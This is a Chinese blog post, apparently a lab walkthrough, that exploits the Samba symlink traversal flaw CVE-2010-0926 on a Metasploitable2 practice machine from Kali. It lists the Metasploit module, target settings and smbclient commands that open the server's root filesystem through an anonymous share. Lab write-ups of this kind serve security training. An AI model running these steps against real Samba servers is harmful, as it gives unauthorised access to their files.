Metasploitable2靶机之第五篇--Samba sysmlink 默认配置目录遍历漏洞(CVE-2010-0926)

迷南。 2022-10-22 01:40 34阅读 0赞

### 文章目录 ###

*   *   *  环境
         *  原理
         *  漏洞复现
         *   *   *  第一步 发现漏洞
                 *  第二步 ，启动metasploit
                 *  第三步选择漏洞库
                 *  第四步 设置参数，开始攻击
                 *  第五步 利用成功，打开共享目录
                 *  注意 smbclient 报错：
         *  摘抄

### 环境 ###

<table> 
 <thead> 
  <tr> 
   <th>主机</th> 
   <th>地址</th> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>Metasploitable2</td> 
   <td>192.168.232.202</td> 
  </tr> 
  <tr> 
   <td>kali-linux</td> 
   <td>192.168.232.129</td> 
  </tr> 
 </tbody> 
</table>

### 原理 ###

### 漏洞复现 ###

##### 第一步 发现漏洞 #####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70]

##### 第二步 ，启动metasploit #####

msfconsole

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 1]

##### 第三步选择漏洞库 #####

search samba
    use auxiliary/admin/smb/samba_symlink_traversal

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 2]  
![在这里插入图片描述][20210402215010421.png]

##### 第四步 设置参数，开始攻击 #####

show options
    Set RHOST 192.168.232.202 设置要攻击的IP
    set SMBSHARE tmp 设置SAM可写文件
    exploit

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 3]

##### 第五步 利用成功，打开共享目录 #####

smbclient //192.168.232.202/tmp 直接回车，不用输入密码
    cd rootfs

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 4]

##### 注意 smbclient 报错： #####

> protocol negotiation failed: NT\_STATUS\_CONNECTION\_RESET

打开/etc/samba/smb.conf文件，在global标签下增加如下两个参数项：

client min protocol = CORE
    client max protocol = SMB3

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 5]

### 摘抄 ###

--------------------

所谓完美，

就是耳机音量刚好盖过外界的噪音，

闹钟响起时你刚好自然醒，

你爱的人刚好也爱你。

--------------------

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70]: /images/20221022/9a4a18b528a34391985d762f45654490.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 1]: /images/20221022/33592279297a42ed9a2df6c6e1c5e704.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 2]: /images/20221022/39f6bef7d0214c5c9d9a462de0c6cae9.png
[20210402215010421.png]: /images/20221022/57c3356c750e4cc9ae3c79f8f9c985b0.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 3]: /images/20221022/b1fdcd5fc7e441628622894be869784f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 4]: /images/20221022/053050c4f4a442e1a1e64250f15b1639.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 5]: /images/20221022/e5ae13bf40ab49b9a13b0d8bee7229a6.png